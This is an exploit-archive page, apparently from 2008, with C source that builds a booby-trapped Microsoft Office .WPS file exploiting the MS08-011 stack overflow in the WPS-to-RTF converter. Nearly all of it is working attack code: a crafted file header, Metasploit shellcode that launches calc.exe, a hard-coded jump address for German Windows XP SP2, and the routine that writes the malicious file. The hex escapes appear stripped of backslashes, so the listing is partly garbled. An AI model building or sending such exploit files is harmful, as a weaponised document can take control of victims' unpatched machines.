[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Microsoft Office .WPS File Stack Overflow Exploit (MS08-011)
# Published : 2008-02-13
# Author : chujwamwdupe
# Previous Title : DESlock+ <= 3.2.6 DLMFDISK.sys local kernel ring0 SYSTEM Exploit
# Next Title : Linux Kernel 2.6.23 - 2.6.24 vmsplice Local Root Exploit
/*
* Copyright (c) 2008 chujwamwdupe - pumpernikiel.c
*
* one day in teletubby land...
*
* an email from idefense:
*
* "Unfortunately, Microsoft has refused to credit you using the name you requested."
*
* ...what's wrong with 'chujwamwdupe', eh?
*
*
* Description:
* A vulnerability exists in WPS to RTF convert filter that is part
* of Microsoft Office 2003. It could be exploited by remote attacker
* to take complete control of an affected system. This issue is due to
* stack overflow error in function that read secions from WPS file.
* When we change size of for example TEXT section to number langer than
* 0x10, stack overflow occurs - very easy to exploit.
*
*
* Tested on:
* Microsoft Windows XP Service Pack 2 && Microsoft Office 2003
*
* Usage:
* wps.exe 1 evil.wps
*
*/
#include <stdio.h>
#include <windows.h>
/* WPS Header */
unsigned char uszWpsHeader[] =
"xd0xcfx11xe0xa1xb1x1axe1x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x3ex00x03x00xfexffx09x00"
"x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00"
"x01x00x00x00x00x00x00x00x00x10x00x00x02x00x00x00"
"x01x00x00x00xfexffxffxffx00x00x00x00x00x00x00x00"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xfdxffxffxffxfexffxffxffxfexffxffxffx04x00x00x00"
"x05x00x00x00x06x00x00x00x07x00x00x00x08x00x00x00"
"xfexffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"x52x00x6fx00x6fx00x74x00x20x00x45x00x6ex00x74x00"
"x72x00x79x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x16x00x05x00xffxffxffxffxffxffxffxffx01x00x00x00"
"xb2x5axa4x0ex0ax9exd1x11xa4x07x00xc0x4fxb9x32xba"
"x00x00x00x00x00x00x00x00x00x00x00x00xd0x10xb9x5f"
"x53x8fxc7x01x03x00x00x00xc0x0ax00x00x00x00x00x00"
"x43x00x4fx00x4ex00x54x00x45x00x4ex00x54x00x53x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x12x00x02x01x02x00x00x00x03x00x00x00xffxffxffxff"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x0ax00x00x00x00x00x00"
"x01x00x43x00x6fx00x6dx00x70x00x4fx00x62x00x6ax00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x12x00x02x00xffxffxffxffxffxffxffxffxffxffxffxff"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x28x00x00x00x56x00x00x00x00x00x00x00"
"x53x00x50x00x45x00x4cx00x4cx00x49x00x4ex00x47x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x12x00x02x00xffxffxffxffxffxffxffxffxffxffxffxff"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x2ax00x00x00x10x00x00x00x00x00x00x00"
"x01x00x00x00x02x00x00x00x03x00x00x00x04x00x00x00"
"x05x00x00x00x06x00x00x00x07x00x00x00x08x00x00x00"
"x09x00x00x00x0ax00x00x00x0bx00x00x00x0cx00x00x00"
"x0dx00x00x00x0ex00x00x00x0fx00x00x00x10x00x00x00"
"x11x00x00x00x12x00x00x00x13x00x00x00x14x00x00x00"
"x15x00x00x00x16x00x00x00x17x00x00x00x18x00x00x00"
"x19x00x00x00x1ax00x00x00x1bx00x00x00x1cx00x00x00"
"x1dx00x00x00x1ex00x00x00x1fx00x00x00x20x00x00x00"
"x21x00x00x00x22x00x00x00x23x00x00x00x24x00x00x00"
"x25x00x00x00x26x00x00x00x27x00x00x00xfexffxffxff"
"x29x00x00x00xfexffxffxffxfexffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff"
"x43x48x4ex4bx57x4bx53x20x04x00x08x00x0ex00x00x03"
"x00x02x00x00x00x0ax00x00xf8x01x0ex00xffxffxffxff"
"x18x00x54x45x58x54x00x00x2fx00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00";
/* Shellcode - metasploit exec calc.exe */
unsigned char uszShellcode[] =
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49"
"x49x49x49x49x49x49x49x37x49x49x49x49x51x5ax6ax42"
"x58x50x30x41x31x42x41x6bx41x41x52x32x41x42x41x32"
"x42x41x30x42x41x58x50x38x41x42x75x38x69x79x6cx4a"
"x48x67x34x47x70x77x70x53x30x6ex6bx67x35x45x6cx4c"
"x4bx73x4cx74x45x31x68x54x41x68x6fx6cx4bx70x4fx57"
"x68x6ex6bx71x4fx45x70x65x51x5ax4bx67x39x4cx4bx50"
"x34x4cx4bx77x71x68x6ex75x61x4bx70x4ex79x6ex4cx4d"
"x54x4bx70x72x54x65x57x69x51x49x5ax46x6dx37x71x6f"
"x32x4ax4bx58x74x77x4bx41x44x44x64x35x54x72x55x7a"
"x45x6cx4bx53x6fx51x34x37x71x48x6bx51x76x4cx4bx76"
"x6cx50x4bx6ex6bx71x4fx67x6cx37x71x68x6bx4cx4bx65"
"x4cx4cx4bx64x41x58x6bx4bx39x53x6cx75x74x46x64x78"
"x43x74x71x49x50x30x64x6ex6bx43x70x44x70x4cx45x4f"
"x30x41x68x44x4cx4ex6bx63x70x44x4cx6ex6bx30x70x65"
"x4cx4ex4dx6cx4bx30x68x75x58x7ax4bx35x59x4cx4bx4d"
"x50x58x30x37x70x47x70x77x70x6cx4bx65x38x57x4cx31"
"x4fx66x51x48x76x65x30x70x56x4dx59x4ax58x6ex63x69"
"x50x31x6bx76x30x55x38x5ax50x4ex6ax36x64x63x6fx61"
"x78x6ax38x4bx4ex6cx4ax54x4ex76x37x6bx4fx4bx57x70"
"x63x51x71x32x4cx52x43x37x70x42";
char szIntro[] =
"nttMicrosoft Office .WPS Stack Overflown"
"tttAdam Walker (c) 2007n"
"[+] Targets:n"
"t(1) Windows XP SP2 ntdll.dll den"
"Usage: wps.exe <target> <file>";
typedef struct {
const char *szTarget;
unsigned char uszRet[5];
} TARGET;
TARGET targets[] = {
{ "Windows XP SP2 de ntdll.dll", "xEDx1Ex94x7C" }, /* jmp esp */
};
int main( int argc, char **argv ) {
char szBuffer[1024*10];
FILE *f;
void *pExitProcess[4];
if ( argc < 3 ) {
printf("%sn", szIntro );
return 0;
}
memset(szBuffer, 0x90, 1024*10);
printf("[+] Creating WPS header...n");
memcpy( szBuffer, uszWpsHeader, sizeof( uszWpsHeader ) - 1 );
printf("[+] Copying addr && nops && shellcode...n");
memcpy( szBuffer + sizeof( uszWpsHeader ) - 1, targets[atoi( argv[1] + 1 )].uszRet, 4 );
memcpy( szBuffer + sizeof( uszWpsHeader ) + 3, uszShellcode, sizeof( uszShellcode ) - 1 );
f = fopen( argv[2], "wb" );
if ( f == NULL ) {
printf("[-] Cannot create filen");
return 0;
}
fwrite( szBuffer, 1, sizeof( szBuffer) , f );
fclose( f );
printf("[+] .WPS file succesfully created!n");
return 0;
}
// www.Syue.com [2008-02-13]